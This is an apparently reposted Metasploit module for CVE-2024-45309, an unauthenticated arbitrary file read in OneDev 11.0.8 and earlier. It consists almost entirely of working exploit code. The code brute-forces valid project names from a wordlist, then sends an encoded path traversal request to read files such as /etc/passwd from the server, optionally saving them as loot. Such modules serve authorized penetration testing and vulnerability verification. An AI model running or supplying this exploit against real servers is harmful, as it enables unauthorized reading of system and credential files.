Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-ONEDEV_ARBITRARY_FILE_READ-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  CheckCode = Exploit::CheckCode

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OneDev Unauthenticated Arbitrary File Read',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
          To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
          can view existing projects without authentication.
          However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
          By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.
        },
        'Author' => [
          'vultza', # metasploit module
          'Siebene' # vuln discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-45309'],
          ['URL', 'https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489']
        ],
        'DisclosureDate' => '2024-10-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The relative URI of the OneDev instance', '/']),
        OptString.new('TARGETFILE', [true, 'The absolute file path to read', '/etc/passwd']),
        OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]),
        OptString.new('PROJECT_NAME', [true, 'The target OneDev project name', '']),
        OptPath.new('PROJECT_NAMES_FILE', [
          false, 'File containing project names to try, one per line',
          File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')
        ])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return CheckCode::Unknown('Request failed') unless res

    unless ['OneDev', "var redirect = '/~login';"].any? { |f| res.body.include? f }
      return CheckCode::Unknown("The target isn't a OneDev instance.")
    end

    version = res.body.scan(/OneDev ([\d.]+)/).first

    if version.nil?
      if datastore['PROJECT_NAME']
        res = read_file(datastore['PROJECT_NAME'], '/etc/passwd')

        if res.body.include? 'root:x:0:0:root:'
          return CheckCode::Vulnerable('OneDev instance is vulnerable.')
        else
          return CheckCode::Safe('OneDev instance is not vulnerable.')
        end
      end
      return CheckCode::Unknown('Unable to detect the OneDev version, as the instance does not have anonymous access enabled.')
    end

    version = Rex::Version.new(version[0])

    return CheckCode::Safe("OneDev #{version} is not vulnerable.") if version > Rex::Version.new('11.0.8')

    CheckCode::Appears("OneDev #{version} is vulnerable.")
  end

  def validate_project_exists(project)
    res = send_request_cgi({
      'method' => 'HEAD',
      'uri' => normalize_uri(target_uri.path, project, '~site')
    })

    return res&.code == 200
  end

  def find_project
    print_status 'Bruteforcing a valid project name…'

    File.open(datastore['PROJECT_NAMES_FILE'], 'rb').each do |project|
      project = project.strip
      next unless validate_project_exists(project)

      print_status("#{peer} - Found valid OneDev project name: #{project}")
      return project
    end
    nil
  end

  def read_file(project_name, target_file)
    path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e'
    payload_path = normalize_uri(target_uri.path, project_name)
    payload_path = "#{payload_path}/#{path_traversal}#{target_file}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => payload_path
    })
    return res
  end

  def run
    project_name = datastore['PROJECT_NAME']

    if project_name.strip.empty?
      project_name = find_project
      fail_with(Failure::NoTarget, 'No valid OneDev project was found.') unless project_name
    else
      fail_with(Failure::NoTarget, 'Provided project name is invalid.') unless validate_project_exists(project_name)
    end

    res = read_file(project_name, datastore['TARGETFILE'])

    fail_with(Failure::Unreachable, 'Request timed out.') unless res

    fail_with(Failure::UnexpectedReply, "Target file #{datastore['TARGETFILE']} not found.") if res.body.include? 'Site file not found'

    file_name = datastore['TARGETFILE']
    if datastore['STORE_LOOT']
      store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], res.body, file_name, 'File retrieved from OneDev server')
      print_good("#{file_name} file stored in loot.")
    else
      print_good("#{file_name} file retrieved with success.\n#{res.body}")
    end
  end
end